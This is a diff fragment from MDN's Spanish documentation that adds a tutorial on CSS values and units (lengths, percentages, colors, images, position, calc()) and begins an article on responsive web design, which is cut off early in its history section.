+<p>Un valor en CSS es una forma de definir una colección de subvalores admitidos. Esto significa que si ves <code>&lt;color&gt;</code> como válido, no necesitas preguntarte cuáles de los diferentes tipos de valor de color puedes usar: palabras clave, valores hexadecimales, funciones <code>rgb()</code>, etc. Puedes usar <em>cualquier</em> valor <code>&lt;color&gt;</code> disponible siempre que tu navegador lo admita. La página de MDN te dará información sobre lo que admite cada navegador para cada valor. Por ejemplo, puedes ver que en la sección de compatibilidad de navegadores de la página para <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> se enumeran diferentes tipos de valores de color y los navegadores que los admiten.</p>
+
+<p>Echemos un vistazo a algunos de los tipos de valores y unidades con los que puedes encontrar con frecuencia, con ejemplos para que puedas probar diferentes valores posibles.</p>
+
+<h2 id="Números_longitudes_y_porcentajes">Números, longitudes y porcentajes</h2>
+
+<p>Al utilizar CSS te puedes encontrar con varios tipos de datos numéricos. Todos los siguientes están clasificados como tipos de datos numéricos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo de datos</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/es/docs/Web/CSS/integer">&lt;integer&gt;</a></code></td>
+   <td>Un <code>&lt;integer&gt;</code> es un número entero, como <code>1024</code> o <code>-55</code>.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/CSS/number">&lt;number&gt;</a></code></td>
+   <td>Un <code>&lt;number&gt;</code> representa un número decimal; puede tener o no un punto de separación decimal con un componente fraccionario, por ejemplo: <code>0,255</code>, <code>128</code> o <code>-1,2</code>.</td>
+  </tr>
+  <tr>
+   <td><code>&lt;dimension&gt;</code></td>
+   <td>Una <code>&lt;dimension&gt;</code> es un <code>&lt;number&gt;</code> con una unidad asociada, por ejemplo: <code>45deg</code> (grados), <code>5s</code> (segundos) o <code>10px</code> (píxeles). <code>&lt;dimension&gt;</code> es una categoría general que incluye los tipos <code><a href="/es/docs/Web/CSS/length">&lt;length&gt;</a></code>, <code><a href="/es/docs/Web/CSS/angle">&lt;angle&gt;</a></code>, <code><a href="/es/docs/Web/CSS/time">&lt;time&gt;</a></code> y <code><a href="/es/docs/Web/CSS/resolución">&lt;resolution&gt;</a></code><a href="/en-US/docs/Web/CSS/resolution">.</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/percentage">&lt;percentage&gt;</a></code></td>
+   <td>Un <code>&lt;percentage&gt;</code> representa una fracción de algún otro valor, por ejemplo, <code>50%</code>. Los valores de porcentaje siempre son relativos a otra cantidad, por ejemplo, la longitud de un elemento es relativa a la longitud de su elemento padre.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Longitudes">Longitudes</h3>
+
+<p>El tipo numérico con el que te vas a encontrar con mayor frecuencia es <code>&lt;length&gt;</code>, por ejemplo, <code>10px</code> (píxeles) o <code>30em</code>. En CSS se utilizan dos longitudes diferentes: relativa y absoluta. Es importante conocer la diferencia para entender qué dimensiones van a tener las cosas.</p>
+
+<h4 id="Unidades_de_longitud_absoluta">Unidades de longitud absoluta</h4>
+
+<p>Todas las unidades siguientes son unidades de longitud <strong>absoluta</strong>: no son relativas a nada más y en general se considera que siempre tienen el mismo tamaño.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unidad</th>
+   <th scope="col">Nombre</th>
+   <th scope="col">Equivale a</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cm</code></td>
+   <td>Centímetros</td>
+   <td>1cm = 96px/2,54</td>
+  </tr>
+  <tr>
+   <td><code>mm</code></td>
+   <td>Milímetros</td>
+   <td>1mm = 1/10 de 1cm</td>
+  </tr>
+  <tr>
+   <td><code>Q</code></td>
+   <td>Cuartos de milímetros</td>
+   <td>1Q = 1/40 de 1cm</td>
+  </tr>
+  <tr>
+   <td><code>in</code></td>
+   <td>Pulgadas</td>
+   <td>1in = 2,54cm = 96px</td>
+  </tr>
+  <tr>
+   <td><code>pc</code></td>
+   <td>Picas</td>
+   <td>1pc = 1/16 de 1in</td>
+  </tr>
+  <tr>
+   <td><code>pt</code></td>
+   <td>Puntos</td>
+   <td>1pt = 1/72 de 1in</td>
+  </tr>
+  <tr>
+   <td><code>px</code></td>
+   <td>Píxeles</td>
+   <td>1px = 1/96 de 1in</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La mayoría de estos valores son más útiles cuando se usan en una salida en formato impreso que en la salida de pantalla. Por ejemplo, normalmente no usamos <code>cm</code> (centímetros) en pantalla. El único valor que usarás de forma frecuente es <code>px</code> (píxeles).</p>
+
+<h4 id="Unidades_de_longitud_relativa">Unidades de longitud relativa</h4>
+
+<p>Las unidades de longitud relativa son relativas a algo más, por ejemplo, al tamaño de letra del elemento principal o al tamaño de la ventana gráfica. La ventaja de usar unidades relativas es que con una planificación cuidadosa puedes lograr que el tamaño del texto u otros elementos escalen en relación con todo lo demás en la página. En la tabla siguiente se enumeran algunas de las unidades más útiles para el desarrollo web.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Unidad</th>
+   <th scope="col">Relativa a</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>em</code></td>
+   <td>Tamaño de letra del elemento padre, en el caso de propiedades tipográficas como {{cssxref("font-size")}}, y tamaño de la fuente del propio elemento en el caso de otras propiedades, como {{cssxref("width")}}.</td>
+  </tr>
+  <tr>
+   <td><code>ex</code></td>
+   <td>Altura x de la fuente del elemento.</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>La medida de avance (ancho) del glifo "0" de la letra del elemento.</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>Tamaño de la letra del elemento raíz.</td>
+  </tr>
+  <tr>
+   <td><code>lh</code></td>
+   <td>Altura de la línea del elemento.</td>
+  </tr>
+  <tr>
+   <td><code>vw</code></td>
+   <td>1% del ancho de la ventana gráfica.</td>
+  </tr>
+  <tr>
+   <td><code>vh</code></td>
+   <td>1% de la altura de la ventana gráfica.</td>
+  </tr>
+  <tr>
+   <td><code>vmin</code></td>
+   <td>1% de la dimensión más pequeña de la ventana gráfica.</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>1% de la dimensión más grande de la ventana gráfica.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Un_ejemplo_de_análisis">Un ejemplo de análisis</h4>
+
+<p>En el ejemplo siguiente puedes ver cómo se comportan algunas unidades de longitud relativa y absoluta. La primera caja tiene un ancho ({{cssxref ("width")}}) establecido en píxeles. Como unidad absoluta, este ancho será siempre el mismo aunque lo demás cambie.</p>
+
+<p>La segunda caja tiene un ancho establecido en unidades <code>vw</code> (ancho de ventana). Este valor es relativo al ancho de la ventana gráfica, por lo que 10vw es el 10 por ciento del ancho de la ventana gráfica. Si cambiases el ancho de la ventana de tu navegador, el tamaño de la caja cambiaría. Sin embargo, esto no te va a funcionar porque este ejemplo se ha incrustado en la página usando <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>. Para verlo en acción debes <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">probar el ejemplo después de abrirlo en una pestaña independiente de tu navegador</a>.</p>
+
+<p>La tercera caja utiliza unidades <code>em</code>. Son unidades relativas al tamaño de la letra. Hemos establecido un tamaño de fuente de <code>1em</code> en el contenido {{htmlelement ("div")}}, que tiene una clase <code>.wrapper</code>. Si cambias este valor a <code>1.5em</code>, verás que el tamaño de letra de todos los elementos aumenta, pero solo se amplía el ancho en el último elemento, porque el ancho es relativo a ese tamaño de letra.</p>
+
+<p>Después de seguir las instrucciones anteriores, juega un poco más con los valores para ver qué obtienes.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p>
+
+<h4 id="ems_y_rems">ems y rems</h4>
+
+<p><code>em</code> y <code>rem</code> son las dos longitudes relativas que es probable que encuentres con mayor frecuencia al cambiar el tamaño de cualquier cosa, de cajas a texto. Vale la pena entender cómo funcionan y las diferencias entre ellos, especialmente cuando comienzas a abordar temas más complejos como <a href="/es/docs/Learn/CSS/Styling_text">aplicar estilos a texto</a> o <a href="/es/docs/Learn/CSS/CSS_layout">compaginar con CSS</a>. El ejemplo siguiente te proporciona una muestra.</p>
+
+<p>El HTML es un conjunto de listas anidadas: hay tres listas en total y ambos ejemplos tienen el mismo HTML. La única diferencia es que el primero tiene una clase <em>ems</em> y el segundo una clase <em>rems</em>.</p>
+
+<p>Para empezar, configuramos un tamaño de letra de 16px en el elemento <code>&lt;html&gt;</code>.</p>
+
+<p><strong>En definitiva, la unidad <em>em</em> significa «el tamaño de letra de mi elemento padre»</strong>. Los elementos {{htmlelement ("li")}} dentro de un elemento {{htmlelement ("ul")}} con una clase de <code>ems</code> toman el tamaño con respecto a su elemento padre. Por lo tanto, en cada nivel de anidamiento sucesivo, el tamaño de letra aumenta progresivamente, porque en cada uno el tamaño de letra está establecido en <code>1.3em</code> (1,3 veces el tamaño de letra de su elemento padre).</p>
+
+<p><strong>En definitiva, la unidad <em>rem</em> significa «el tamaño de letra del elemento raíz»</strong>. (‘rem’ viene de «root em»). Los elementos {{htmlelement ("li")}} dentro de un elemento {{htmlelement ("ul")}} con una clase de <code>rems</code> toman su tamaño del elemento raíz (<code>&lt;html&gt;</code>). Esto significa que el tamaño de letra no aumenta en cada nivel sucesivo de anidamiento.</p>
+
+<p>Sin embargo, si cambias el atributo <code>font-size</code> de <code>&lt;html&gt;</code> en el CSS, verás que todo lo demás cambia en relación con él, tanto la letra cuyo tamaño está especificado en unidades <code>rem</code> como la que lo está en unidades <code>em</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p>
+
+<h3 id="Porcentajes">Porcentajes</h3>
+
+<p>En muchos casos, un porcentaje es tratado de la misma manera que una longitud. Lo que sucede con los porcentajes es que siempre se establecen en relación con otro valor. Por ejemplo, si estableces el atributo <code>font-size</code> de un elemento como un porcentaje, será un porcentaje del <code>font-size</code> del elemento padre. Si usas un porcentaje para un valor <code>width</code>, será un porcentaje del atributo <code>width</code> del elemento padre.</p>
+
+<p>En el ejemplo siguiente, las dos cajas con el tamaño especificado en unidades de porcentaje y las dos cajas con el tamaño especificado en unidades de píxel tienen los mismos nombres de clase. En ambos conjuntos de cajas, los anchos de las cajas son de 200 píxeles y de 40%, respectivamente.</p>
+
+<p>La diferencia es que el segundo conjunto de dos cajas está dentro de un contenedor que tiene 400 píxeles de ancho. La segunda caja de 200 px de ancho tiene el mismo ancho que la primera, pero la segunda caja de 40% ahora es el 40% de 400 px, ¡mucho más estrecha que la primera!</p>
+
+<p><strong>Cambia el ancho del contenedor o el valor de porcentaje para ver cómo funciona.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p>
+
+<p>El ejemplo siguiente tiene tamaños de letra establecidos en porcentajes. Cada elemento <code>&lt;li&gt;</code> tiene un atributo <code>font-size</code> del 80%, por lo tanto, los elementos de la lista anidada se vuelven progresivamente más pequeños a medida que heredan su tamaño del elemento padre.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p>
+
+<p>Observa que aunque muchos valores admiten unidades de longitud o porcentaje, algunos solo admiten unidades de longitud. Puedes ver qué valores admite cada propiedad en las páginas de referencia correspondientes del proyecto MDN. Si el valor admitido incluye <code><a href="/en-US/docs/Web/CSS/length-percentage">&lt;length-percentage&gt;</a></code>, puedes usar una unidad de longitud o un porcentaje. Si el valor admitido solo incluye <code>&lt;length&gt;</code>, no es posible utilizar un porcentaje.</p>
+
+<h3 id="Números">Números</h3>
+
+<p>Algunos valores aceptan números sin ninguna unidad asociada. Un ejemplo de una propiedad que acepta un número sin unidades es la propiedad <code>opacity</code>, que controla la opacidad de un elemento (cuán transparente es). Esta propiedad admite un número entre <code>0</code> (totalmente transparente) y <code>1</code> (totalmente opaco).</p>
+
+<p><strong>En el ejemplo siguiente, asigna al valor de <code>opacity</code> diversos valores decimales entre <code>0</code> y <code>1</code> para ver cómo la caja y su contenido cambian su opacidad.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Cuando en CSS utilizas un número como valor, no debe estar entre comillas.</p>
+</div>
+
+<h2 id="Color">Color</h2>
+
+<p>En CSS hay muchas formas de especificar el color, algunas de las cuales se implementaron más recientemente que otras. En todas partes en CSS se pueden usar los mismos valores de color, tanto para especificar el color del texto como el color de fondo, o de cualquier otra cosa.</p>
+
+<p>El sistema de colores estándar disponible en los ordenadores modernos es de 24 bits, lo que permite visualizar aproximadamente 16,7 millones de colores distintos a partir de una combinación de diferentes canales de rojo, verde y azul con 256 valores diferentes por canal (256 x 256 x 256 = 16.777.216). Echemos un vistazo a algunas de las formas en que podemos especificar colores en CSS.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En este artículo vamos a ver los métodos comunes para especificar colores que admiten los navegadores; hay otros métodos no tan comunes que no admiten todos los navegadores.</p>
+</div>
+
+<h3 id="Palabras_clave_para_los_colores">Palabras clave para los colores</h3>
+
+<p>Muy a menudo, en los ejemplos de este artículo o en cualquier otra página de MDN, verás que se utilizan las palabras clave para los colores, ya que son una forma simple y comprensible de especificar colores. Hay una multitud de estas palabras clave, ¡algunas de las cuales tienen nombres de lo más curiosos! Puedes ver una lista completa en la página para el valor <code><a href="/es/docs/Web/CSS/color_value">&lt;color&gt;</a></code>.</p>
+
+<p><strong>Juega con diferentes valores de color en los ejemplos en vivo que encontrarás a continuación, para adquirir una idea más clara de cómo funcionan.</strong></p>
+
+<h3 id="Los_valores_hexadecimales_RGB">Los valores hexadecimales RGB</h3>
+
+<p>El siguiente tipo de valores de color que es probable que encuentres son los códigos hexadecimales. Cada valor hexadecimal consiste en un símbolo de hashtag/almohadilla (#) seguido de seis cifras hexadecimales, cada una de las cuales puede tomar uno de los 16 valores entre el 0 y la f (que representa el 15), por ejemplo: <code>0123456789abcdef</code>. Cada par de cifras representa uno de los canales (rojo, verde y azul) y nos permite especificar cualesquiera de los 256 valores disponibles para cada uno (16 x 16 = 256).</p>
+
+<p>Estos valores son un poco más complejos y menos fáciles de entender, pero son mucho más versátiles que las palabras clave: puedes usar valores hexadecimales para representar cualquier color que desees usar en tu combinación de colores.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p>
+
+<p><strong>Una vez más, cambia los valores para ver cómo varían los colores.</strong></p>
+
+<h3 id="Valores_RGB_y_RGBA">Valores RGB y RGBA</h3>
+
+<p>El tercer esquema del que hablaremos aquí es RGB. Un valor RGB es una función <code>rgb()</code> que recibe tres parámetros que representan los valores de los canales rojo, verde y azul del color, de modo muy similar a los valores hexadecimales. La diferencia con RGB es que cada canal está representado no por dos dígitos hexadecimales, sino por un número decimal entre el 0 y el 255, lo que de algún modo resulta algo más fácil de entender.</p>
+
+<p>Vamos a reescribir nuestro último ejemplo para utilizar colores RGB:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p>
+
+<p>También puedes usar colores RGBA: estos funcionan exactamente de la misma manera que los colores RGB, por lo que puedes usar cualquier valor RGB; sin embargo, hay un cuarto valor que representa el canal alfa del color, que controla la opacidad. Si estableces este valor en <code>0</code>, el color será completamente transparente, mientras que en <code>1</code> será completamente opaco. Los valores intermedios le confieren diferentes niveles de transparencia.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Establecer un canal alfa en un color representa una diferencia clave para usar la propiedad {{cssxref ("opacity")}} que vimos anteriormente. Cuando usas la opacidad, el elemento y todo lo que contiene es opaco, mientras que cuando usas colores RGBA, solo son opacos los que especificas.</p>
+</div>
+
+<p>En el ejemplo siguiente hemos añadido una imagen de fondo al bloque que contiene nuestras cajas de color. También hemos configurado las cajas para que tengan diferentes valores de opacidad: observa que el fondo se muestra más cuanto menor es el valor del canal alfa.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p>
+
+<p><strong>En este ejemplo, cambia los valores del canal alfa y observa cómo afecta a la salida de color. </strong></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En algún momento, los navegadores modernos se actualizaron para que <code>rgba()</code> y <code>rgb()</code>, y <code>hsl()</code> y <code>hsla()</code> (ver más abajo) se convirtieran en alias puros el uno del otro y comenzaran a comportarse exactamente igual. Así, por ejemplo, tanto <code>rgba()</code> como <code>rgb()</code> admiten colores con y sin valores de canal alfa. Cambia el <code>rgba()</code> del ejemplo anterior por <code>rgb()</code> y observa si los colores aún funcionan. El estilo que uses depende de ti, pero separar las definiciones de los colores transparentes y las de los no transparentes con el uso de funciones diferentes mejora la ejecución de los navegadores y puede actuar como un indicador visual de dónde se definen colores transparentes en tu código.</p>
+</div>
+
+<h3 id="Los_valores_HSL_y_HSLA">Los valores HSL y HSLA</h3>
+
+<p>Un poco menos compatible que RGB es el modelo de color HSL (no compatible con las antiguas versiones de Internet Explorer), que se implementó después de mucha insistencia por parte de los diseñadores. En lugar de los valores rojo, verde y azul, la función <code>hsl()</code> admite valores de matiz, saturación y luminosidad, que se utilizan para distinguir entre los 16,7 millones de colores, pero de una manera diferente:</p>
+
+<ul>
+ <li><strong>Matiz</strong>: El tono base del color. Toma un valor entre 0 y 360, que representa un ángulo en torno a una rueda de colores.</li>
+ <li><strong>Saturación</strong>: ¿Qué nivel de saturación presenta el color? Esta propiedad toma un valor entre 0 y 100%, en que 0 no es un color (aparece como un tono de gris) y 100% es el nivel de saturación total del color.</li>
+ <li><strong>Luminosidad</strong>: ¿Qué claridad o brillo presenta el color? Este atributo toma un valor entre 0 y 100%, en que 0 es no claro (aparece completamente negro) y 100% es completamente claro (aparece completamente blanco).</li>
+</ul>
+
+<p>Podemos adaptar el ejemplo con colores RGB para usar colores HSL, así:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} </p>
+
+<p>Al igual que RGB tiene un equivalente RGBA, HSL tiene un equivalente HSLA, que le proporciona la misma capacidad para especificar el canal alfa. Demostramos esto a continuación cambiando nuestro ejemplo RGBA para usar colores HSLA.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p>
+
+<p>Puedes usar cualquiera de estos valores de color en tus proyectos. Es probable que para la mayoría de los proyectos te decidas por una paleta de colores y luego uses esos colores (y tu método elegido para especificar el color) en todo el proyecto. También puedes mezclar y combinar diversos modelos de color, sin embargo, por coherencia, en general es mejor si todo el proyecto usa el mismo.</p>
+
+<h2 id="Imágenes">Imágenes</h2>
+
+<p>El tipo de datos <code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> se usa cuando una imagen es un valor válido. Puede ser un archivo de imagen real al que apunta una función <code>url()</code>, o un degradado.</p>
+
+<p>En el ejemplo siguiente mostramos una imagen y un gradiente en uso como un valor para la propiedad CSS <code>background-image</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: hay otros valores posibles para <code>&lt;image&gt;</code>, pero son más nuevos y aún hay pocos navegadores que los admiten. Consulta la página de MDN para el tipo de dato <code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> si deseas saber más sobre ellos.</p>
+</div>
+
+<h2 id="Posición">Posición</h2>
+
+<p>El tipo de dato <code><a href="/en-US/docs/Web/CSS/position_value">&lt;position&gt;</a></code> representa un conjunto de coordenadas 2D que se utiliza para colocar un elemento, por ejemplo una imagen de fondo (con el atributo <code><a href="/en-US/docs/Web/CSS/background-position">background-position</a></code>). Puede tomar palabras clave como <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code> y <code>center</code> para alinear los elementos con los límites específicos de una caja de dos dimensiones, y también longitudes, que representan desplazamientos desde los bordes superior e izquierdo de la caja.</p>
+
+<p>Un valor de posición típico consta de dos valores: el primero establece la posición horizontal, y el segundo la vertical. Si solo especificas valores para un eje, el otro usará <code>center</code> por defecto.</p>
+
+<p>En el ejemplo siguiente hemos colocado una imagen de fondo a 40px de la parte superior, y a la derecha del contenedor con una palabra clave.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p>
+
+<p><strong>Juega un poco con estos valores y observa cómo cambia la posición de la imagen.</strong></p>
+
+<h2 id="Cadenas_e_identificadores">Cadenas e identificadores</h2>
+
+<p>En los ejemplos anteriores hemos visto casos en que se usan palabras clave como valores (por ejemplo, palabras clave para <code>&lt;color&gt;</code>, como <code>red</code>, <code>black</code>, <code>rebeccapurple</code> y <code>goldenrod</code>). Estas palabras clave normalmente se describen como <em>identificadores</em>, un valor especial que el CSS entiende. Como tales, no se escriben entre comillas (es decir, no se tratan como cadenas).</p>
+
+<p>Hay casos en el CSS en que debes usar cadenas, por ejemplo, <a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos#Generar_contenido_con_before_y_after">al especificar el contenido que generas</a>. En este caso, el valor se escribe entre comillas para mostrar que se trata de una cadena de caracteres. En el ejemplo siguiente hemos usado palabras clave para el color, sin entrecomillar, y también una cadena caracteres, de contenido generado, entrecomillada.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p>
+
+<h2 id="Funciones">Funciones</h2>
+
+<p>El último tipo de valor que vamos a analizar es el grupo de valores conocidos como funciones. En programación, una función es un bloque de código reutilizable que es posible ejecutar varias veces para completar una tarea repetitiva con el mínimo esfuerzo tanto por parte del desarrollador como del ordenador. Las funciones suelen asociarse a lenguajes como JavaScript, Python o C++, pero también hay funciones en CSS, como valores de código propietario. Ya hemos visto funciones en acción en la sección sobre los colores: <code>rgb()</code>, <code>hsl()</code>, etc. El valor que se utiliza para devolver una imagen de un archivo, en este caso <code>url()</code>, también es una función.</p>
+
+<p>Un valor que se comporta más como algo que puedes encontrar en un lenguaje de programación tradicional es la función <code>calc()</code>. Esta función te proporciona la capacidad de hacer cálculos simples en tu CSS. Es particularmente útil si deseas calcular valores que no puedes definir al escribir el CSS para tu proyecto y necesitas que el navegador lo haga durante la ejecución.</p>
+
+<p>Por ejemplo, a continuación usamos <code>calc()</code> para hacer que la caja tenga <code>20% + 100px</code> de ancho. El 20% se calcula a partir del ancho del contenedor principal <code>.wrapper</code> y, por lo tanto, cambiará si ese ancho cambia. No podemos hacer este cálculo de antemano porque no sabemos cuál será el 20% del elemento padre, por lo que usamos <code>calc()</code> para decirle al navegador que lo haga por nosotros.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p>
+
+<h2 id="Pon_a_prueba_tus_conocimientos">Pon a prueba tus conocimientos</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más importante? Encontrarás más pruebas para comprobar que retienes esa información antes de seguir en <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Values_tasks">Test your skills: Values and units</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esta ha sido una revisión rápida de los tipos de valores y unidades más comunes que te puedes encontrar. Puedes echar un vistazo a todos los diferentes tipos en la página de referencia de <a href="/en-US/docs/Web/CSS/CSS_Values_and_Units">valores y unidades CSS</a>; encontrarás muchos de estos mientras trabajas en estos artículos.</p>
+
+<p>Lo que debes recordar es que cada propiedad tiene una lista definida de valores admisibles, y cada valor incluye una definición que explica cuáles son sus subvalores. A continuación puedes buscar los detalles aquí, en MDN.</p>
+
+<p>Por ejemplo, comprender que <code><a href="/es/docs/Web/CSS/image">&lt;image&gt;</a></code> también te permite crear un degradado de color es útil, ¡pero quizás no sea un conocimiento obvio!</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/css_layout/diseño_receptivo/index.html b/files/es/learn/css/css_layout/diseño_receptivo/index.html
new file mode 100644
index 0000000000..4ddb7a94db
--- /dev/null
+++ b/files/es/learn/css/css_layout/diseño_receptivo/index.html
@@ -0,0 +1,324 @@
+---
+title: Diseño receptivo
+slug: Learn/CSS/CSS_layout/Diseño_receptivo
+translation_of: Learn/CSS/CSS_layout/Responsive_Design
+---
+<div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div>
+
+<p>En los primeros días del diseño web, las páginas se diseñaban para llenar un tamaño de pantalla en particular. Si el usuario tenía una pantalla más grande o más pequeña que la del diseñador, los resultados esperados iban desde barras de desplazamiento no deseadas hasta longitudes de línea excesivamente largas y un mal uso del espacio. A medida que estuvieron disponibles tamaños de pantalla más diversos, apareció el concepto de <em>diseño web responsivo </em> (RWD, <em>responsive web design</em>), un conjunto de prácticas que permite a las páginas web alterar su diseño y apariencia para adaptarse a diferentes anchos de pantalla, resoluciones, etc. Es una idea que cambió la forma en que diseñamos para una web multidispositivo, y en este artículo te ayudaremos a comprender las principales técnicas que necesitas saber para dominarlo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos en CSS</a> y <a href="/es/docs/Learn/CSS/Building_blocks">Los elementos básicos del CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender los conceptos fundamentales y la historia del diseño responsivo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Diseños_de_sitios_web_históricos">Diseños de sitios web históricos</h2>
+
+<p>En un momento de la historia, solo tenías dos opciones al diseñar un sitio web:</p>
+
+<ul>
+ <li>Podías crear un sitio <em>líquido</em>, que se expandiría para llenar toda la ventana del navegador</li>
+ <li>o un sitio de <em>ancho fijo</em>, que sería un tamaño fijo en píxeles.</li>
+</ul>
+
+<p>Estos dos enfoques tendían a dar como resultado un sitio web que se veía mejor ¡en la pantalla de la persona que diseñaba el sitio! El sitio líquido dio como resultado un diseño encogido en las pantallas que eran más pequeñas (como se ve a continuación) o longitudes de línea interminables en las pantallas que eran más grandes.</p>
+
+<figure><img alt="Un diseño de página con dos columnas encogidas en una ventana gráfica del tamaño de un teléfono móvil." src="https://mdn.mozillademos.org/files/16834/mdn-rwd-liquid.png" style="display: block; height: 406px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Observa este <a href="https://mdn.github.io/css-examples/learn/rwd/liquid-width.html">ejemplo</a> y su <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html">código fuente</a> de un diseño líquido sencillo. Amplía o reduce la ventana del navegador y observa cómo cambia su aspecto en diferentes tamaños.</p>
+</div>
+
+<p>El sitio de ancho fijo se arriesgaba a una barra de desplazamiento horizontal en pantallas que eran más pequeñas que el ancho del sitio (como se ve a continuación), y a un gran espacio en blanco en los bordes del diseño en las pantallas que eran más grandes.</p>
+
